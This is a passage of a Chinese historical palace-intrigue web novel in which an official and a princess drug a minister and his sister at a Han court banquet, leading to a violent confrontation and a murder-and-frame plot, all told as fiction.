刘竺一时心跳如鼓,抬手覆住胸口,一时眸中大放光彩,她同样压低了声音,凑到温珩近前。 “这怕是要毁了他啊,你可别是要过河拆桥,光想要利用我!” “怎么会呢?” 温珩眨了眨眼睛,看样子无辜极了。 “再说了,花开在高岭之上,不让他坠落下来,公主又怎么能够得到他呢?” “好,既然你说了一石二鸟之计,我权且信你一回。”刘竺的眼中隐隐闪动着光,她显然很是激动,但是她的眼珠又是一转,又将激动之情压了下来。 “可事不能我一个人做,风险也不能让我一个人担,万一最后螳螂捕蝉黄雀在后,本公主也从悬崖上摔下来,与裴大人一同摔死。温大人难道不成了最后的赢家了吗?” “还请殿下指教。” 温珩倒是有些惊讶,一贯愚蠢为人棋子的刘竺竟然突然开了窍,一时之间,他倒也有些好奇她的要求了。 —— 裴明绘抬起眼眸,看着昏黄铜镜中的自己,脸颊已然清减了许多,乌黑的发梢也毛躁了起来,春喜执着梳篦沾了桂花油仔细地将头发梳顺了,将其盘卷在头顶,用簪钗固定。余发垂下,披在身后。 待春喜将最后一只钗插在她的发上,裴明绘起身,簌簌衣裙摩擦响动,夏荷将玉佩从银盘中取了出来,系在她的腰带之上。 “小姐还是同大人服个软罢,兄妹之间有什么过不去的坎呢?” 夏荷当然不知道裴明绘与裴瑛之间真正的矛盾在何处,故也只能笼统地劝道。 “我没有错,为何要服软。” 裴明绘甩袖又回了镜台之前,手臂撑在木台子上,将面容埋在手心里。 “是奴婢的错。” 夏荷连忙走过去,扶住裴明绘的肩膀。 “小姐莫哭了,等会儿妆花了就不好了。” “你怎么这么不会说话,快走开。” 春喜推了推夏荷的肩膀,示意她走开,夏荷走开后,她便跪坐下来,揽住裴明绘的肩膀,让她的头靠在自己怀里。 “奴婢知道小姐心里苦,可是小姐与大人毕竟是兄妹,谁错谁对又何必分那么清呢,总归是为着对方好的。许多事奴婢不知道,但是奴婢只知道,大人心里头有小姐,小姐心里头也有大人。” “别说了。” 裴明绘又何尝不知道这个道理,她也想做这个乖妹妹,可是心底涌动的不甘让她屡屡无法自控,兄妹二人情真意切的道理,她又怎么会不懂呢? 可是情不由己,自己却压不住心头的不甘。 自己分明陪他最久,也是离最近的人,可为什么,近水楼台反而不能得月呢? 可是再多的不甘,再多的痛苦,也只能被压下去,她再见到裴瑛,却也只能叫他哥哥,安生地坐他的乖妹妹,看着他永远将自己当做一个不知事的小孩子,看着他口口声声说喜欢别人。 她不甘心,她永远也不会甘心。 悬在自己心头多年的月亮,为什么自己便没有摘下的权利,而只能眼睁睁的看着他被别人摘去纳入怀中呢。 推开门的时候,天上又飘下了雪花,冰冰凉凉的雪粒落在她的面上,很是就融化在呼吸的热气之间,化作凉凉的水自面上滑下。 她抬起袖子来,擦掉面上的水,一旁的春喜忙执了伞过来,替她挡住了雪花。 这次皇帝宴请百官及其亲眷,此次受邀名单理当有她。 原本裴瑛的意思是不打算让她去,可是她却打定了主意,又闹了一天的绝食,结果又把裴瑛惹恼了,找了两个心思巧力气大的仆妇生生给她灌了进去。 她天生软硬不吃,直接发了狠,将那些仆妇全都赶了出去,那群仆妇念着她是小姐,也不不敢如何怎么样,只得退下去。 很快,裴瑛的消息也就到了。 但他依旧没有来见她。 他们依旧在僵持着,谁也不肯后退一步。 或许,这根本就没有后退的余地。 她方才允许踏出院子,去参加未央宫的宫宴。 雪渐次下得大了,裴明绘方才从回忆里拔出来,她深深吸了一口气,冰冷的初冬空气流经肺腑,最后化作吐出绣口的一阵迷蒙水雾,模糊了眼前冰冷萧瑟的景象。 她绝不会退缩,绝不会否认自己所做的一切都是错误的。 这次宫宴,裴瑛照例也会参加,而只要她能见到他,她便有信心能够扭转多日以来僵持的局面。 她微微抿了一下嘴唇,抬起眼眸来,坚定地走出了裴府,登上了那辆前往未央宫的辎车。 但她不知道的是,一场巨大的风波与变动的阴谋业已在未央宫里酝酿着,静悄悄地等待着猎物的入场,便回一触即发,并且以无可挽回的结果改变现在艰难维系着的局面。 第51章 锦囊有妙计 此次未央宫的宫宴非比寻常, 百官重臣加之落了新雪,各处宫娥宦官都加紧扫出一条道来,各宫复道回廊里也都悬上了坠着彩绳的宫灯, 冷风一吹,就滴溜溜地转着, 光影交错流连着来往宫娥身上。 一位小宫娥捧着漆盘,垂首快步走向了一处华丽的宫室。 宫室之前有一位圆脸的宫娥正在等候着,一见她来,便匆匆迎了上去,将漆盘取了过来,严厉地斥责小宫娥:“取个东西怎么这么慢, 若是耽误了殿下的事怎么办!我看你是又皮痒不是!” 小宫娥只能连忙低头求饶:“姑姑, 是府库那边不给通融……” “呸,等会儿我再收拾你。 ” 她端了盘子就走了,焦急往宫室内走去,险些被门槛绊倒。 在这里当差的宫娥宦官们都知道, 这座宫室里住着一位不好惹的主, 她脾气不好一贯爱打骂下人, 偏生又生了张巧嘴,能讨得太后与陛下开心。 而这宫室里住的这般巧人,自然就是南云长公主刘竺。 熏炉摆在角落里,它通体由铜铸造, 外鎏金,那丝丝雾霭便自含苞欲放鎏金花蕾之中满满逸散出来。 刘竺走了过来,广袖挥散了烟雾, 却由让香气无声间渗透在广袖的经纬之间。 她将坐在镜台之前,从盘子上胭脂漆盒来, 取出一点来在掌心慢慢晕开,那原本深浓的红色便也就浅淡了下来,待到颜色适宜之时,便用纤细手指蘸着往两腮上轻轻一抹,便是菲菲粉红颜色,像极了桃花初开时的色彩。 这是汉朝最流行的红粉妆,是张骞出使西域后带回来的燕支做成的,中原也将其称作红蓝,而皇帝得到这胭脂之后,第一个将赐给了温氏,温氏以其敷面,更显娇艳美丽,看去便是面如桃花,故得桃花夫人之称,后宫嫔妃美人争相使用,一时上行下效,胭脂风靡中原。 她静静地等待着,忽然窗牖被吹开一角,冷风呼呼灌了进来,这冰冷的之意,让刘竺抬起头来,抬起手来,左右宫娥立即会意,立即将她扶了起来。 待走到内殿之后,刘竺挥了挥手,内殿侍奉的宫娥便如也鱼贯而退,整个内殿便也就剩下刘竺一人,她转过身来,正好对上了温珩的笑脸。 虽然她业已看惯了他的笑脸,但是猛然一见他,却又想起了那惨死的温氏,心头忍不住一跳,她抚上了自己的心头,抬眼看向他。 “你可保准了此事无差错?” “自然。” 温珩微笑着走了过来,自袖中掏出一锦囊来,搁在刘竺的掌心,备细说道:“殿下自将此物放在她的茶水之中,不消一个时辰,药效便可发作,倚兰阁与拂竹阁两处的宫娥微臣已然安排妥当,只待殿下举事了。” “好。”刘竺一想到能摘下那梦寐以求之人,胸腔里的心脏就忍不住剧烈地颤动,她轻咳了几声,忍住心中漫溢而出激动情绪,沉声道:“我这边,你且放心就是了,她一贯软弱,最好拿捏,但裴瑛那边,可却是有些危险的,你别临到头给我出了事。若是到头功亏一篑,我定然饶不了你。” 温珩:“殿下还请放心,微臣自会让殿下如愿的。” 刘竺掂量了一下锦囊,疑惑问道,“为何你这个看起来如此精巧,而用在裴瑛身上的那个就看起来用些粗陋。温大人莫不是藏私罢。” 温珩:“裴瑛心思重,太过浓烈的,他怕是会起疑心,只有香气淡一些药效缓一些,方才不至于激怒他。若是激怒他,臣也不能保证会发什么。” 刘竺便将信将疑地讲锦囊收了起来:“原是如此。” 温珩笑吟吟地说道:“臣自是不敢诓骗殿下。” —— 夜幕初将,万灯辉煌,未央宫连绵起伏的城楼宫阙,布列其间的山水仓池,也都淹没在茫茫夜色与纷纷白雪里。 在宫娥宦官的引领之下,裴明绘第一次到了未央宫前殿,来来往往的都是华衣袨服的王公贵族,此时帝后尚未到场,未央宫前殿的气氛也就略微松泛些。 裴明绘的目光在来来往往的人群里梭巡着,寻找着他的身影,可奈何满殿珠翠灯火太过耀眼,一时竟也不能够寻得到。 她不知道怎么回事,心头突然升起一阵莫名的不安来,甚至有些呼吸不上来,但她匆匆摇了摇头,将心头的不安压了下去,内心的焦急却越来越浓,她甚至开始怀疑,裴瑛是不是没有来。 她在自己的座位上坐下,她的位置是在帝侧右首的卿臣席的最末尾处坐下的,与裴瑛的位置自是相差的十万八千里。 她不禁开始埋怨安排这个座位的人,明知道自己是裴瑛的妹妹,却还离得这么远,这人到底知不知道自己是他的妹妹,若连最基本的官员的亲缘关系都搞不明白,还是不要当官的好。 好一番腹诽之后,她也只能乖乖在这里坐着,左右环顾,四处寻觅裴瑛的身影。 她正在此处坐着,手肘撑在案上,手心撑住脸颊,螓首微垂蛾眉蹙。 她忽然听见耳边一阵银铃般的欢声笑语,而后那馥郁的女儿香也飘了过去,她扭过头去,就见众贵女簇拥着一位小姐走了过来。 姿色沉静,气质绝佳,云鬓金钗,着浅金色深衣,外边罩着一层如云似雾的白纱,像长袖间弯折同色的丝绢,她行在地上,身后便像是有云雾涌动。 真真是一个绝色美人,单单站在那里,便是一抹独一无二的颜色。 裴明绘知道她是谁,她姓赵,单名一个姝,小字叫做长欢,她是太学博士赵宾武的小女儿,是长安城新晋的第一美人。 原本的第一美人李夫人已经香消玉殒了,自然第二位美人就顺位升格成了第一美人了。 如此绝色如此装束的美人被父亲领上了庙堂,怕是宫里又要多上一位夫人,而赵家也会成为外戚,自此得到荫庇,他们的子孙将会得到官爵,会得到皇帝的破格提拔,他们将会金银满屋,人人都羡慕他们生了个好女儿。 她又收回了目光,将目光凝在那酒爵中浮泛的一点光亮上,可是总是寻不到裴瑛的身影,她便也坐不住了。 等到她走出大殿的时候,扑面的寒风让她一下子便驱散了周身缭绕着的丝丝热气。 大殿里温暖得像是春日,可是殿外却是冷风呼啸的寒冬,她目光搜寻着来来往往的人群,却并没有在其中找到裴瑛的影子。 甚至连温珩这个讨厌鬼的影子也没有看见。 她不禁开始疑惑,这个两个人竟然一同缺席了宫宴,隐隐约约的,裴明绘嗅到一丝阴谋的味道。 同时,她也知道现在的朝中局势波谲云诡,裴瑛与温珩二人针锋相对势不两立,彼此步步下杀招,恨不得将对方碎尸万段,但是皇帝却没有偏袒任何一方,只是任由着他们削去彼此的枝干,任由他们暗中倾轧。 这真不是一个好兆头。 裴明绘心道。 风雪渐渐大了,她头上也都落满了雪,这像是鹅毛一般雪花轻盈地落在她的发梢眼睫之上,冰冰凉凉的,发着冷气。 她决定还是转回去,去问一问御史大夫的属官,他们总归是知道裴瑛近来行止的。 “裴小姐。” 忽有一人叫住了她,她回过头去,就见是杜大人的女儿杜小姐,二人自是熟识,便也就凑在一起说话。 “近来不见子吟,可是家中出了什么事?” 杜小姐关切地问候道。 裴明绘自然不能说她与裴瑛之间闹了矛盾,只得推脱说生了病,就不大爱出门了。 杜小姐:“啊,子吟竟生了病,这我竟不知道,若我早些知道,定然会去看望你的。” “难为你费心了,我的病已经大好了。对了,我尚有事,改日与你再叙罢。” 说罢,她便要走,却又被身后的杜小姐叫住。 “且等等,子吟是要去找裴大人罢。” 裴明绘起先有些惊讶,惊讶于杜小姐怎么知道,但是转念一想自己平日进宫大多都是同裴瑛一道,故杜小姐询问也是理所当然,于是她便压下了怀疑:“是啊,那你可知道我哥哥在何处?” “这……这我是知道的,方才我还看见裴大人往西南边去了呢,就是不知道去那边做什么去了。” 未央宫前殿居于全宫的正中,若说未央宫东边,前殿的北侧是皇后所居的椒房殿,再往前擦去世天禄阁与石渠阁,前殿西侧则为一应官署;而前殿的西南则是苍池渐台与一应亭台楼榭所在一处。 他去西南做什么吗? 她内心的那股不安再次浓烈起来,像是心底燃起一小簇的火焰,渐渐地壮大了起来,灼烧着她的心房,让她焦躁不安起来。 偏偏她又寻不到源头,但一想自己与杜小姐也是交好的,更何况,在皇宫里头,又能出什么事呢? “多谢,我这就去寻我哥哥。” 裴明绘转身就要走,可是胳膊却被杜小姐挽住。 “路长,我陪你一起去罢。” —— 未央宫的西南有一片亭台楼阁,皇帝的宠幸过的女子大都住在此处,他们不像夫人美人等诸多妃子一般有名分,又没有皇帝的宠爱,也没有在宠幸之后怀上子嗣,所以便住在这一片楼阁里,她们终日靠着女红来度过漫长而又孤寂的时间,等待脖颈酸痛之时,时不时翘起首来向窗牖外张望着,盼望着能够看到皇帝驾临的身影。 珠帘摇晃不息,碰撞在一处,发出叮铃悦耳的声响,宫室里并未点着灯,处处昏暗,只有那冰冷的雪光自窗牖上的绢布中隐隐约约可见浅白色香气氤氲其间。 手指拂开珠帘,裴瑛弯腰缓步走了进来。 如裴明绘所料,他本没有打算缺席宫宴,只是半途看见温珩的行为有些诡异,便也就跟了上来。 可是追到这一处宫室之中,温珩的身影却也消失不见了。 他缓慢地在此间踱步着,听着宫室外的冷风在狂哮着,夹杂着雪粒扑打在窗牖上,宫室内的香气愈来愈浓,让裴瑛瞬间停住了脚步。 可是黑暗里似乎闪过一抹惹眼的红色,裴瑛立马追了上去。 越往宫室的深处走,那缭绕在呼吸间的香气也越是浓郁,让裴瑛忍不住蹙起了眉,这种迷离的蛊惑人心的香气,似乎在无声无息让他血液躁动起来,裴瑛本想就此止步,但是但是一想到能够抓住温珩与宫妃私通的证据,他也就强行忍了下去。 裴瑛宫中的耳目屡屡捕捉到温珩总在夜间出入此处,通常过了一个时辰才离开。 此处又非政事机要之处,正是不受宠的皇帝后妃聚集之处罢了,温珩在此处又能做什么? 但是这惑人的香气却在一寸一寸吞噬他的判断力,逐渐在血液里沸腾的不适之感也逐渐蔓延开来。 黑暗里,一阵窸窸窣窣的声音传来,像是布帛拖曳过地毡的绵软声音。 他几乎能听到那极具跳动的心跳声。 是谁? 裴瑛正欲回头,一个滚烫而又柔软的身躯自黑暗里贴了过来,几乎是没有间隙,裴瑛一把推开了她,就听重物砸地的声音传来,裴瑛藏在袖中的匕首瞬间出鞘,寒光一闪,便定在了她的脖颈之前。 一抹冷光慢悠悠地滑过锋锐的剑,照亮了来者惊慌失措的面容。 借着这些微的光,裴瑛看清了她的样子。 “刘竺?” 裴瑛却是没有想到,在这里的人,竟然是南云长公主刘竺。 刘竺显然惊惶,她一双眼睛瞪得如同珍珠一般圆润,直勾勾地看着裴瑛隐在黑暗的神情。 她显然没有想到,裴瑛在这里香气里泡了这么久,为什么还是这般清醒。 “我……我只是……路过。” 裴瑛显然不信刘竺的话,但对方毕竟是公主,在没有搞明白她的意图之前,裴瑛便也不会无端对她不敬,但是心念电闪之间,裴瑛的心头隐隐升出一种不祥来,可是他却无法辨析这种感觉从何而来:“原来是殿下啊,臣听身后声音细碎诡异,便以为行刺之人,险些出手伤及殿下性命,还请殿下见谅。” 刘竺看着他还反手藏在袖中的匕首,不由冷汗直下。她是万万想到,裴瑛随身带着利刃,在这香气的浸润之下还能够反应过来。 刘竺突然有一阵心惊,在刀锋虚虚滑过她脖颈肌肤的那一刻,他是不是真的想要杀了她? “裴大人何故在此?” 刘竺爬了起来,柔柔弱弱地问道。 “我见宫宴里有人行踪诡秘,便悄声跟来,原不想殿下也在此处。”裴瑛四处未曾瞥见温珩的身影,想必温珩已然有所警觉,已然将所有罪证都隐匿起来了,与此同时,裴瑛实在是不想与这个心怀鬼胎的刘竺共处一室,便准备鸣金收兵再寻他法,“臣先退下了,就不打搅殿下了。” “别走!” 眼见裴瑛要走,刘竺瞬间慌了神,猛然抱了上去,裴映听闻身后脚步之声,一收脚一侧身,便也从容地躲了过去,刘竺整个人都摔在了地上。 裴瑛蹙眉,冷冷看着摔到呻吟的刘竺,明知故问地关切道:“殿下这是怎么了,可是太黑了看不清楚路。” 50-60 第52章 风雪来相见 刘竺知道裴瑛是故意的, 顿时两眼盈起了泪,心里暗骂裴瑛怎么敢这么对她,但是很快她就将委屈都压了下去, 因为此时此刻裴瑛尚且清醒,她可没有胆子同裴瑛闹翻, 只能咬牙忍下哭声:“天是黑了,我有些害怕,裴大人别着急走,先陪陪我罢。” 裴瑛:“殿下已经不是小孩子了,况且,臣与殿下孤男寡女共处一室, 怕是有损于殿下的清誉。臣告退。” 但是就在他刚迈出了一只脚, 一股血液猛然冲撞了他的心脏,裴瑛一瞬间脑子都空白了,他踉跄着向后倒退一步,不可置信地抬起眼来, 看着已然窈窕着从地上站起来的刘竺。 她的眼中彻底卸去了伪装, 唇边带着一丝笑, 她款款地走了过来,拂了拂袖子,带过来一丝惑人的香气。 裴瑛渐渐眯起了眼睛:“殿下意欲何为。” “裴大人何故明知故问呢?” 刘竺借着细微额光看清他额头渗出的细密的汗,她的眼中是不加掩饰的期待:“你知道的, 我很久之前就喜欢你了,我当时告诉你,我喜欢你, 可是你却说公主千金,臣不敢有所奢求, 我当时就真的以为,你是因为自己的职位低,才不答应我的。可是后来我才明白,你根本就不喜欢我,当然,没有关系,我喜欢你就够了,我是长公主,我想要的,从来就没有得不到的。” “殿下怕是喝醉了。” 裴瑛微微笑了起来,脸上却依然渗出汗珠来。 “竟说些玩笑话,殿下是真的不怕御史再参殿下一次吗?” “玩笑?”刘竺走了过去,余光落在了裴瑛的面颊上,轻轻笑了起来,却像是一声诡异地叹气,“本公主可不怕什么御史,就算他们参本公主千千万万次,本公主依旧是长公主,是皇帝陛下的妹妹,就算是犯了天大的罪,又能如何?” 裴瑛淡漠地看着刘竺如此嚣张的模样,勾起一丝嘲讽的微笑,可是说出口的话却依旧没有失了臣下该有的恭敬:“是吗?殿下尽可等待着,看看御史的弹劾参奏,殿下可能消受?” 听他语调虽然轻柔,语意却是如此的恶毒,刘竺一阵心酸,而后却又不由生起气来,但是转念一想,左右裴瑛已经在她手中了,再让这香气往他的骨髓里润一润,他就是她的人了。 “你少来威胁我,也别拿哄你妹妹的话来哄我,我可不是裴小姐,不受你的辖制。我是公主,是汉朝的公主,也是你裴瑛的公主。” 黑暗里,裴瑛的笑容一寸一寸消失殆尽,而刘竺却没有注意到这细微却致命的变化,依旧在自顾自地说着心里话,或许她真的醉了,人一醉,就会说那些不可说的心里话:“我知道,你那个乖妹妹好妹妹喜欢你,这是什么,是逆□□理的事,若是让有些人知道,裴大人恐怕会为难罢。” “所以呢,殿下所意为何呢?” 裴瑛的声音很轻,几乎被窗外骤然汹涌的风雪声完全盖住,只留下细微的游丝在空气中游荡着,看样子,他似乎真的被刘竺的话惊到了。 刘竺以为裴瑛已经臣服于自己的威胁之下,不由欣喜若狂,翩然转过身去,走到裴瑛近前,仰头看着他,红唇轻启:“我只要郎君与我欢好一夜,只一夜就好了,我以长公主的身份保证,决无人知晓此事,自此以后,若有人与郎君为敌,我保准除掉那人。只要郎君愿意,那个温珩,本公主也能让他身首异处。” 温珩罢了,对刘竺而言,只是一个垫脚石,若是藉由除掉他为自己赢得裴瑛的欢心,那自是再好不过的事情了。 裴瑛这般的人,若自己与他有了鱼水之欢,他又怎么不会为此让步,娶自己为妻呢? 就算他不愿意,自己也会运用舆论与道德的武器,逼迫他娶自己。 傻子才相信温珩的鬼话,到时候自己嫁一个戴罪之人,自己的面子又搁在哪里呢? 他想着捉奸自己与裴瑛,焉知她不会捉奸他与裴明绘。 这个温珩,还真把自己当个人物了,等到事成之后,将温珩一杀,也就没人知道二人的计谋与交易了。 一石二鸟,除掉两个讨厌之人,自己又可以堂堂正正成为御史大夫夫人,这般才是最妙的。 裴瑛微微扬起笑,声音也多了平日所没有的情绪,让刘竺完全沉沦在这声音里:“原来殿下只是为着这个?” “是的。” 刘竺以为自己终于可以如愿以偿,不由抬脚再度逼近。 裴瑛忍不住心底汹涌而起的厌恶,后退一步。 “殿下执意如此做?” 他实在不想明着对刘竺动武,因为这样会惹来许多不必要的麻烦。 “自然,难道郎君还有反悔的余地吗?” 刘竺笑眯眯地说道。 她显然已然打定了裴瑛已经会受自己的胁迫,毕竟在肉|体与精神上双重威胁,纵然是裴瑛,也不得不受自己的胁迫,甘心向自己胁迫。 裴瑛的冷汗已然浸透了衣衫,但他依旧风轻云淡地站立着。 可是就当他准备开口的时候,他偏偏就嗅到了她身上的那一缕香。 当温珩从他身边走过之时,他原以为是沾染了哪位宫妃的香气。 二人的联手了。 裴瑛很快就得出了结论。 但这并不是什么稀奇的事,以刘竺之智,不被温珩利用才是奇怪。 可是突然之间,一丝冰冷贯穿了他的心神,原本震颤激动的血液一瞬间停止了流动,原本尽在掌握的心态悉数崩塌。 他丝毫错漏了什么,而这个错漏,几乎会要了他的命。 在意识到这个致命的问题之后,裴瑛的脸唰地一下就苍白下来,像是死人一般,连带这呼吸也微弱起来。 他瞬间抬起来眼帘,不可置信地看向刘竺:“温珩在哪?” 突然被他这么一问,刘竺一慌,但很快就稳下了心神,将温珩告诉她的腹稿说了出来:“温大人在何处,我怎么知道,但是我知道的是,是裴大……” 但还没待她说完,自己的喉咙就被猛地掐住了,一瞬间,她便丧失的呼吸的权利,冰冷修长的手指如同玄铁一般紧紧锁住她娇弱的喉咙。 “说,温珩在哪?” 他的语气也彻底褪去了温柔的伪装,露出了明白的冷厉锋芒。 刘竺原以为裴瑛不敢对自己如何,也不能对自己怎么样,可是今日今时,死亡的恐怖阴影第一次覆到了这位尊贵的长公主的头上。 裴瑛真的会杀了她…… 当这个念头浮上她的心头之时,刘竺的内心无比恐慌。 窒息的感觉让她眼前一阵阵地发昏,她艰难地对上裴瑛的眼眸,一瞬间便瘫软下来,支支吾吾地说道:“我……我不知道……。” “呜……” 裴瑛一寸一寸收紧,她的脸容与心脏也随紧绷起来,似乎下一刻就崩断。 裴瑛的力气依旧很巧,力气大到让刘竺的眼珠几乎要掉出来,力气小得不足以让她即刻颈骨断裂死去。 她因为缺氧流出痛苦地眼泪,浑圆的泪珠顺着渐渐白起来的起来的面颊落下,落在裴瑛紧绷的指节之上。 落下的瞬间,裴瑛的最后耐心也被消耗殆尽。 “不说?” 裴瑛猛然松开了手,刘竺立即摔倒在地,发髻也散乱开来,黑夜里依旧金灿灿的钗子滚落在地。 她艰难地躺在地上大口大口地呼吸着,像是在沙滩上搁浅的鱼一样。可还未待她缓过来,一下瞬间却又被裴瑛粗暴地拉了起来,她纤弱的手腕滑过一丝凉意,似乎有什么争先恐后地从肌肤之下涌了出去,先是温热的流动的感觉,而后便是火辣辣的疼痛。 “啊——” 刘竺真的害怕了,她怕到颤抖,怕到失语,拼命挣扎着想去止血,可是裴瑛依旧死死拉着她的手,让鲜血肆无忌惮地流了出来,浸透了她的温暖华贵的四重衣,渗漏进地上铺着的柔软地毡。 馥郁的香气染了她的血腥,慢慢地弥散在空气里,流窜进她的鼻息里,极大地刺激了她的神经。 这是她的血啊…… 刘竺的恐惧到达了顶峰,或许是濒临死亡之时目力也有所增益,黑暗里,裴瑛的表情那么清晰。 这是没有一丝动摇的杀戮,没有一丝怜悯的杀意,他的面容那抹冰冷,狠厉,无情而陌生,尤其是那一双漆黑的眼睛,里面是明晃晃的势在必得的杀意。 “我劝殿下莫要自寻死路。” 他的话音让整个宫室都陷入了焦灼之中,刘竺真的后悔了,她后悔做这些了,她原以为凭借着长公主的身份,裴瑛肯定不敢对她做什么。 但是现在事实给了她最为准确的答案。 “我说……我说,你……你不要杀我,我……我什么都说啊!” 一贯养尊处优的刘竺痛苦流涕地忏悔着,她痛苦地拽着他衣袖,祈求他的原谅,他的怜悯。 “他们……在……在倚兰殿……啊!” 几乎是瞬间,裴瑛便松开了刘竺,大步走了过去,甚至因为太过焦急踩到了刘竺,险些被她绊倒。 裴瑛一走,刘竺立即大声尖叫起来,她歇斯底里地哭喊着:“来人啊救命啊,快来人救驾啊——” 裴瑛愈走愈快,身后刘竺的尖叫声也渐渐地听不见了,风雪呼啸在眼前,遮蔽了前行的路,悬在复道回廊的宫灯滴溜溜地转着,原本的光芒变得微小,像是在狂风暴雪里拼命挣扎的萤火,一不小心便会随波逐流不知去向。 流窜在血液里的焦灼与痛苦冲击着他的已然过度紧绷的神经,他全身的骨头此时此刻都在疯狂叫嚣着痛苦,原本清明的神思此时混乱不堪,脑子里似有金鼓擂擂,巨大的轰鸣声音缩短了他的视野,让原本清晰的近在咫尺道路变得遥远而又模糊。 未央宫迂折的复道回廊之中,绯衣官袍的男子步履匆匆走在其中,冷风带着雪雾穿梭在回廊之中,带起男子的广袖衣袍,让玉阑干都结上了薄薄一层冰雪。他的步子突然一个踉跄,重重向前栽去,他单膝跪在地上,一向挺直的脊骨弯了下来,像是冷风吹秋叶一般剧烈地颤抖着。 视线一阵一阵发着白光,像是雪色侵入眼眸,无声侵夺着他的视线。 不行,她还在等着。 匕首的刀锋毫不留情地滑过手臂,深入血肉直触骨骼,殷红的鲜血顺着手臂蜿蜒而下,滴答滴答地落在松软的新雪之中,深深地陷了进去。 骨节分明的手扶住了阑干,裴瑛站了起来,冷汗化冰凝缀在脸容之上,□□的痛苦被压抑在水面之下,精神上的痛苦却在水面掀起滔天巨浪。 等着,为兄马上到你的身边。 他起先步履蹒跚,到后来越来越快,直到跑了起来,再也没有了过往从容决事的气魄。 就像是很久很久之前一样,他拼了命去追赶那辆驶向漠北的马车一般。 第53章 人未至,剑先来。 倚兰阁的燎炉生得火热, 数九寒天里也是春意融融,红纱帐下,露出美人皓腕如雪。 宫室里寂静地没有一丝声响, 厚重的大门竟连外头的风雪呼啸声都挡在了外面。 长信宫灯的灯火幽幽,博山炉的香雾袅袅。 烟气有形, 旖旎流转。 忽的,殿门被一双手缓缓推了开来,这是一双修长的,本该完美无瑕的手,却被一道丑陋的疤痕生生破碎了的手。 凝冰落雪的黑色长靴踩在殿中厚实的红毡之上,风雪也随之一同卷了进来, 吹得烛火摇晃香雾逸散, 也吹起了如流水一般倾泻地红纱,露出里面藏着的美人。 美人面色泛红,仰躺在重重锦衾暖被之上,身上的衣衫已然被她扯得凌乱, 露出细腻如雪的肌肤, 黑色的发也散乱开来, 宛若葳蕤而生的暗色的草叶与藤蔓攀附在她的身上,那白色肌肤,便是那而后无声中崔错盛开的花,引诱着心怀不轨之人前来。 红袍金冠的男子缓步走了进来, 顺手便将大门关闭,风雪声顿时止息,瞬间摇曳的红纱也落下了下来, 遮住了里面的惑人的春色。 彼色来授,此魂庄来接也。 一步接着一步, 他往前走去,唇角也勾起了恶劣的笑意,黑色的眸子泛着势在必得的笑意。 他的步子停在了纱帐之前,修长的手指不疾不徐地挑起红色的帷幔,男子垂下眼睫,将帐中春色尽数揽入眸中。 此人正是温珩温重明,只可惜这满帐的春色映入他的漆黑的眸子,却并没有激起一丝丝欢愉的涟漪。 他蹙着眉,垂着眸,眸子里映着的是她万分痛苦的景象。 看着她眼角流下来的生理上的泪水,在烛火映衬上闪烁着点点微光。 他原本要进一步的动作顿住了,原本盎然的兴致似乎也偃息下去,他似乎在犹豫着进退,幽幽摇动的烛火浮荡在他纤长的睫羽之上,化作点点流金,一阵不知从何而来的冷风飘了过来,在大狱之时裴瑛的话又从心底里飘了出来。 “难道我的妹妹可曾害过你?既然照温小公子的说法,你我之间的恩怨,又何必牵扯到她的身上。” 裴瑛说的没错,他的话也很有道理,可是温珩一回忆起裴瑛的声音,他所有柔软与怜惜瞬间当荡然无存,一直压制着在心底的负面情绪铺天盖地地压了过来。 他骤然抬起眼帘来,流金碎裂,作他眼尾上的淡淡一层绯红颜色,像是淡淡晕开的鲜血。 他业已没有多余的心力去辨析心底里那些关于她的情感到底是什么,此时此刻,所有的柔软的美好的情感在巨大的仇恨面前根本不值一提。 那个愚蠢的刘竺,真的会认为在如此血海深仇之间,他会放过露出如此马脚的裴瑛。 虽然温珩同刘竺说的是等待二人奸情被举发,到时刘竺只要咬定她是被强迫的,温珩便会联合朝中同党共同检举裴瑛,皇帝在群臣上书的情况下,也为了皇家的颜面,裴瑛便会被贬,然后被迫迎娶刘竺来平息事端。 这是温珩同刘竺说的,但事实却是,他绝无可能放过裴瑛,但他不会在这个时候杀掉裴瑛,而是会杀掉知晓一切的刘竺,并让所有罪证都指向裴瑛。 刘竺爱慕裴瑛,这是众所周知的,刘竺强迫裴瑛,这也是不出意外的,裴瑛恼羞成怒杀掉刘竺,这也是无可厚非的,皇帝震怒,为长公主报仇而将裴瑛处决,并殃及裴瑛求情之人与整个裴家,这也是理所当然的。 虽然裴氏已然被族灭了,就算再来上一次族灭也是灭无可灭,顶多再让裴氏剩的不多的远支旁支在来一次清洗罢了。 这一点倒是让温珩唏嘘。 他再度垂下眼眸,看着痛苦喘息着裴明绘,他的唇边再度溢出一丝冷笑,眼中那丝游移摇摆的温柔已然消失不见,他倾身覆过去,可就在他的胸膛要压上去的时候,却又被一双手推拒开来。 “是你?” 裴明绘抬起眼帘,温珩的面容便撞了进去,霎时间,巨大的惊吓让她艰难地夺回了一丝清明,她倚仗着这一丝清明,立马将身一滚,滚出了他的怀抱,靠着朱红色的墙面艰难地喘息着,戒备地看着温珩。 “不是我,还能是谁?” 温珩依旧是一脸的无辜,似乎欲行不轨之人不是他。 看着裴明绘在如此痛苦之时还能如此戒备他,他不由心底生出一声赞叹来,但到底立场不同,这声赞叹就就埋在心底。 裴明绘感受着那在自己身体里的陌生异样,视线断续地模糊着,眼前的人有时是模糊的红色光斑,有时却又清晰到可怕,连他眼底流转的丝丝恶意都瞧得分外清晰。 裴明绘难受得几乎要窒息,可偏偏这么绝望的时候来的人却还是她最不想看见的温珩,一下子觉得活着都没有力气了。 裴明绘瞬间气急攻心血气上涌,喉咙一腥,直直呕出一口鲜血来。 温珩显然不意她为何吐出血来,但见她脱力倒在榻上,原本稳固占据心头的怨恨一瞬间荡然无存。 怎么回事? 不过就是有些猛烈的有着后遗症催|情药罢了,怎么还会吐血? 温珩连忙搭手悬脉于她手腕上,却又被她一把甩开,她踉踉跄跄就想站起来,可是走了几步几从榻上摔了下去,温珩见状一把拽住她的手腕,将她扯回了榻上,蹙着眉摁着她的手。 “不……你走开。”女子唇角浸染鲜血而变得无比艳红,她的面色泛起更激烈的潮红,身体也开始涨起一波又一波的热潮来,不断地冲击着她的理智,她的眼睫颤抖着,像是在料峭寒风中拚命翻飞的蝶翼一般,柔弱而又无助。 温珩一面悬脉,一面对她说道:“若我不救你,子吟将必死无疑啊。” 他的声音如此无辜,听起来却又如此狠厉不留余地。 “我……我不用你救。” 裴明绘气息喘喘,胸膛剧烈地起伏着。 